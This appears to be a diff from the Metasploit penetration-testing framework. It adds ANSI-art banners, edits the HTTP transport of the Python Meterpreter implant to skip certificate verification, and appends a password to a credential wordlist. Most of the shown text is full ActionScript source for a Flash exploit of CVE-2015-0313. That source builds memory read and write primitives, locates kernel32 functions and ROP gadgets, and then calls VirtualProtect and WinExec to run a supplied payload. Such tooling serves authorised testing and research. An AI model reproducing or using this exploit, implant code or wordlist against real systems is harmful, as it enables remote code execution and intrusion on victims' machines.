[38;5;54m▀[48;5;97m▄[38;5;97m██[48;5;54m▄[48;5;97;38;5;54m▄[38;5;97m██[48;5;54m▄[38;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74;38;5;117m▄[48;5;255;38;5;255m█[48;5;117m▄[48;5;255m█[48;5;54;38;5;54m█[48;5;97m▄[38;5;97m█[48;5;54m▄▄[38;5;54m█[48;5;255;38;5;255m███[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;54;38;5;54m█[38;5;97m▄[38;5;54m█[48;5;97m▄[38;5;97m███[48;5;54m▄[48;5;97;38;5;54m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m███[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m█[48;5;54m▄▄▄[48;5;255m██[38;5;251m▄[48;5;251m█[49;39m [00m
|
||||
[38;5;54m▄[48;5;54m██[49;39m [48;5;54;38;5;54m██[48;5;97;38;5;97m█[48;5;54m▄[38;5;54m██[48;5;97m▄[38;5;97m██[48;5;54;38;5;54m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄▄[48;5;255m█[38;5;251m▄[48;5;251;38;5;254m▄▄[38;5;251m█[49m▀▀[48;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[38;5;54m█[49m▄[48;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[38;5;97m█[48;5;54m▄[38;5;54m██[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m██[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄▄[49m▀[48;5;54m█[48;5;97;38;5;97m█[48;5;54m▄[48;5;97;38;5;54m▄[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m█[38;5;251m▄[49m▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m██[49;39m [00m
|
||||
[38;5;54m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m██[49;39m [00m
|
||||
[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m█[49m▀▀▀[39m [38;5;251m▀[48;5;255m▄[38;5;255m███[48;5;251;38;5;251m█[49m▀▀▀[39m [00m
|
||||
[38;5;251m▀▀▀▀▀▀[39m [38;5;251m▀▀▀[39m [00m
|
|
@ -0,0 +1,29 @@
|
|||
[0m[0m ____________________________________ [0m
|
||||
[0m< My Little Pwny: Exploits are Magic[0m >[0m
|
||||
[0m ------------------------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[38;5;238m▄▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄▄[38;5;96m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[48;5;60m▄[48;5;238;38;5;60m▄▄[48;5;60;38;5;238m▄[38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[48;5;60;38;5;238m▄[38;5;60m█████[48;5;238m▄[48;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄▄[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;238m▄▄[48;5;60;38;5;238m▄▄▄▄▄[48;5;238;38;5;96m▄[38;5;60m▄[48;5;60m██[38;5;238m▄[49m▀[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;96m▄[48;5;139;38;5;139m████[48;5;16m▄[48;5;139;38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;96;38;5;16m▄[48;5;139m▄[38;5;139m██[48;5;96m▄[48;5;60;38;5;96m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m████[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;16;38;5;16m██[48;5;231;38;5;231m██[48;5;96;38;5;96m█[48;5;16;38;5;16m█[48;5;231;38;5;231m█[48;5;16;38;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;60;38;5;60m██[48;5;238;38;5;238m█[49;39m [00m
|
||||
[38;5;238m▀[48;5;60m▄[38;5;60m███[48;5;96;38;5;238m▄[48;5;139;38;5;139m███[38;5;16m▄[48;5;231;38;5;231m██[48;5;96;38;5;139m▄[48;5;231;38;5;16m▄▄[48;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;38;5;238m▀▀[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [38;5;238m▀[48;5;60m▄[38;5;60m██[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m██[38;5;96m▄[48;5;231;38;5;139m▄[38;5;231m█[48;5;182m▄[48;5;16;38;5;139m▄[48;5;231;38;5;96m▄[48;5;16;38;5;139m▄[48;5;139m██[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▀[48;5;60;38;5;60m█[38;5;238m▄[38;5;60m██[48;5;238;38;5;238m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139m█[48;5;231m▄▄▄[48;5;139m█[38;5;96m▄[38;5;139m██[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[38;5;238m▄[49m▀▀▀[48;5;60m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▄[48;5;60m▄[38;5;60m█[48;5;238m▄▄[48;5;60m█[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m█[38;5;96m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▀[48;5;60;38;5;96m▄[48;5;238;38;5;139m▄[48;5;96m▄▄▄[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m█[48;5;238;38;5;238m█[48;5;60m▄▄[48;5;238;38;5;139m▄[48;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▄▄[39m [38;5;96m▄[48;5;96;38;5;139m▄[48;5;139m█████[48;5;238m▄[48;5;60;38;5;238m▄▄[48;5;238;38;5;139m▄[48;5;139m█████[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███████[48;5;238m▄[48;5;60;38;5;238m▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██████████████[38;5;96m▄[49m▀[39m [00m
|
||||
[38;5;238m▀[48;5;60m▄[38;5;60m██████[38;5;238m▄▄▄[49m▀[39m [38;5;96m▀[48;5;139m▄[38;5;139m████[48;5;96;38;5;96m█[48;5;139;38;5;139m███████[38;5;96m▄[49m▀[39m [00m
|
||||
[38;5;238m▄▄[48;5;238m█[48;5;60;38;5;60m███[38;5;238m▄▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [38;5;96m▄[48;5;96m█[48;5;139;38;5;139m██[38;5;96m▄[48;5;96m█[48;5;139m▄▄▄▄[38;5;139m██[38;5;96m▄[48;5;96m██[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m█[48;5;238;38;5;238m█[48;5;60;38;5;60m██[38;5;238m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[38;5;139m▄[48;5;139;38;5;96m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m██[48;5;238;38;5;238m█[49m▀▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139;38;5;96m▄[48;5;96;38;5;139m▄[49;38;5;96m▄[39m [00m
|
||||
[38;5;238m▀[48;5;60m▄▄▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [00m
|
||||
[00m
|
|
@ -0,0 +1,24 @@
|
|||
[0m[0m ______________________ [0m
|
||||
[0m< FREE SHELLS FOREVER!!![0m >[0m
|
||||
[0m ---------------------- [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [38;5;161m▄[48;5;161m██[38;5;204m▄▄[49;38;5;161m▄[39m [38;5;161m▄▄▄[39m [00m
|
||||
[0m\[0m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;175m▄▄▄[48;5;161;38;5;204m▄▄[49;38;5;161m▄[39m [00m
|
||||
[38;5;161m▄[48;5;161;38;5;204m▄▄[38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m██[48;5;161m▄[48;5;204m█[48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[38;5;161m▄[48;5;161;38;5;204m▄▄▄[38;5;161m█[38;5;204m▄[48;5;204;38;5;161m▄[38;5;204m██[38;5;161m▄▄[48;5;161;38;5;218m▄▄▄▄▄[48;5;175m▄[48;5;218m█[48;5;211;38;5;175m▄[48;5;218;38;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄▄[48;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[48;5;161;38;5;218m▄[48;5;218m██[38;5;175m▄[38;5;16m▄▄[38;5;218m█[38;5;16m▄[38;5;218m██[48;5;175m▄[48;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161m█[38;5;204m▄▄▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;161;38;5;16m▄[48;5;218;38;5;218m██[38;5;16m▄[48;5;16;38;5;218m▄[48;5;218m███[48;5;16m▄[48;5;218;38;5;16m▄▄[38;5;218m█[38;5;175m▄[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161;38;5;204m▄▄▄▄[49;38;5;161m▄[48;5;161m█[38;5;204m▄[48;5;204m█[38;5;161m▄▄▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;16;38;5;16m█[48;5;218;38;5;218m██[48;5;16;38;5;16m█[48;5;218;38;5;218m█████[48;5;175;38;5;16m▄[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄▄▄[38;5;204m█[48;5;161m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▀[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;175m▄[48;5;175m█[48;5;16m▄[48;5;175;38;5;218m▄[48;5;218m█[48;5;175m▄[48;5;218m████[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄▄[48;5;204m█[48;5;161m▄▄▄[49;38;5;161m▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m████[48;5;161;38;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m█████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▀[48;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;211;38;5;175m▄[48;5;218;38;5;218m████████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄[38;5;204m███[38;5;161m▄[48;5;161m██[38;5;204m▄[48;5;204;38;5;161m▄[48;5;161m█[48;5;204;38;5;204m█████[38;5;161m▄▄[38;5;204m████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▄▀[39m [38;5;175m▀▀[48;5;175m█[48;5;218m▄▄▄▄▄[38;5;218m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[38;5;175m▄[48;5;204;38;5;204m█[48;5;161;38;5;161m██[48;5;204m▄[38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[49m▀[39m [00m
|
||||
[38;5;204m▀[39m [48;5;175;38;5;175m█[48;5;218;38;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m██[38;5;161m▄▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;218m▄▄[48;5;218;38;5;228m▄▄[48;5;175;38;5;218m▄[49;38;5;175m▄[39m [38;5;161m▀▀[48;5;204m▄▄[48;5;161m█[48;5;204m▄▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;175;38;5;175m█[48;5;218;38;5;218m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[48;5;218;38;5;161m▄[38;5;218m███[48;5;228m▄[48;5;218;38;5;81m▄[48;5;175m▄[38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161m▄[49;38;5;161m▄[39m[00m
|
||||
[48;5;175;38;5;175m█[48;5;161;38;5;218m▄[48;5;204;38;5;161m▄[38;5;204m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;218m▄[48;5;218m█[38;5;175m▄[48;5;81;38;5;81m█[48;5;218;38;5;218m█[48;5;81;38;5;228m▄[38;5;218m▄[48;5;175;38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[38;5;161m█[38;5;204m▄▄▄[38;5;161m█[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m[00m
|
||||
[48;5;175;38;5;169m▄[48;5;218m▄[48;5;161;38;5;218m▄[38;5;161m█[38;5;204m▄[48;5;218;38;5;218m████[48;5;175;38;5;175m█[48;5;228;38;5;218m▄[48;5;218m███[48;5;175;38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[38;5;204m███[48;5;161;38;5;161m██[48;5;204m▄▄[48;5;161m██[49m▀[39m[00m
|
||||
[38;5;169m▄[48;5;169m█[38;5;175m▄[48;5;175;38;5;218m▄▄[48;5;161m▄[38;5;161m█[48;5;218;38;5;218m█[48;5;175;38;5;175m█[49m▀[48;5;175;38;5;169m▄[38;5;175m█[48;5;218m▄[38;5;218m███[48;5;175;38;5;175m█[38;5;218m▄[38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[48;5;161m█[48;5;204m▄▄[38;5;204m██[48;5;161;38;5;161m█[49;39m [38;5;161m▄[39m[00m
|
||||
[38;5;169m▄[48;5;169;38;5;211m▄[48;5;211m█[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄▄[48;5;161m▄[49m▀[48;5;169;38;5;169m█[38;5;211m▄[48;5;211m██[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄[49m▀[39m [38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[38;5;161m▄[48;5;161m█[49m▄▄[48;5;161m█[49;39m[00m
|
||||
[48;5;169;38;5;169m█[48;5;211m▄[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [48;5;169;38;5;169m█[48;5;211;38;5;211m██[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m███[38;5;175m▄[49m▀[39m [38;5;161m▀[48;5;204m▄▄▄▄[49m▀▀[39m [00m
|
||||
[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [38;5;169m▀▀[48;5;175;38;5;175m█[48;5;218;38;5;218m█████[48;5;175;38;5;175m█[49;39m [00m
|
||||
[38;5;175m▀▀▀▀▀▀[39m [38;5;175m▀▀▀▀▀▀[39m [00m
|
||||
[00m
|
|
@ -264,7 +264,7 @@ def tlv_pack(*args):
|
|||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
|
||||
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
|
@ -393,11 +393,17 @@ class PythonMeterpreter(object):
|
|||
print(msg)
|
||||
|
||||
def driver_init_http(self):
|
||||
opener_args = []
|
||||
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
||||
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
||||
import ssl
|
||||
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
||||
ssl_ctx.check_hostname=False
|
||||
ssl_ctx.verify_mode=ssl.CERT_NONE
|
||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||
if HTTP_PROXY:
|
||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||
opener = urllib.build_opener(proxy_handler)
|
||||
else:
|
||||
opener = urllib.build_opener()
|
||||
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
||||
opener = urllib.build_opener(*opener_args)
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
|
|
|
@ -1002,3 +1002,4 @@ sq!us3r
|
|||
adminpasswd
|
||||
raspberry
|
||||
74k&^*nh#$
|
||||
arcsight
|
|
@ -3,6 +3,7 @@
|
|||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
|
|
|
@ -0,0 +1,207 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.LoaderInfo
|
||||
import flash.events.Event
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.Worker
|
||||
import flash.system.WorkerDomain
|
||||
import flash.system.MessageChannel
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var worker:Worker
|
||||
private var mc:MessageChannel
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:String = ""
|
||||
|
||||
public function Main()
|
||||
{
|
||||
if (Worker.current.isPrimordial) mainThread()
|
||||
else workerThread()
|
||||
}
|
||||
|
||||
private function mainThread():void
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
ba.length = 0x1000
|
||||
ba.shareable = true
|
||||
for (var i:uint = 0; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<Object>(1014)
|
||||
ov[i][0] = ba
|
||||
ov[i][1] = this
|
||||
}
|
||||
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
||||
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||
mc = worker.createMessageChannel(Worker.current)
|
||||
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||
worker.setSharedProperty("mc", mc)
|
||||
worker.setSharedProperty("ba", ba)
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
worker.start()
|
||||
}
|
||||
|
||||
private function workerThread():void
|
||||
{
|
||||
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||
ba.clear()
|
||||
ov[0] = new Vector.<uint>(1022)
|
||||
mc.send("")
|
||||
while (mc.messageAvailable);
|
||||
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
|
||||
var main:uint = ov[0][0x409] - 1
|
||||
var vtable:uint = vector_read(main)
|
||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
|
||||
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
|
||||
}
|
||||
|
||||
private function onMessage(e:Event):void
|
||||
{
|
||||
casi32(0, 1022, 0xFFFFFFFF)
|
||||
if (ba.length != 0xffffffff) mc.receive()
|
||||
else {
|
||||
ba.endian = "littleEndian"
|
||||
var data:Array = (mc.receive() as String).split("/")
|
||||
byte_write(parseInt(data[0]))
|
||||
var buffer:uint = parseInt(data[1]) as uint
|
||||
var main:uint = parseInt(data[2]) as uint
|
||||
var vtable:uint = parseInt(data[3]) as uint
|
||||
var flash:uint = base(vtable)
|
||||
var ieshims:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
//CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
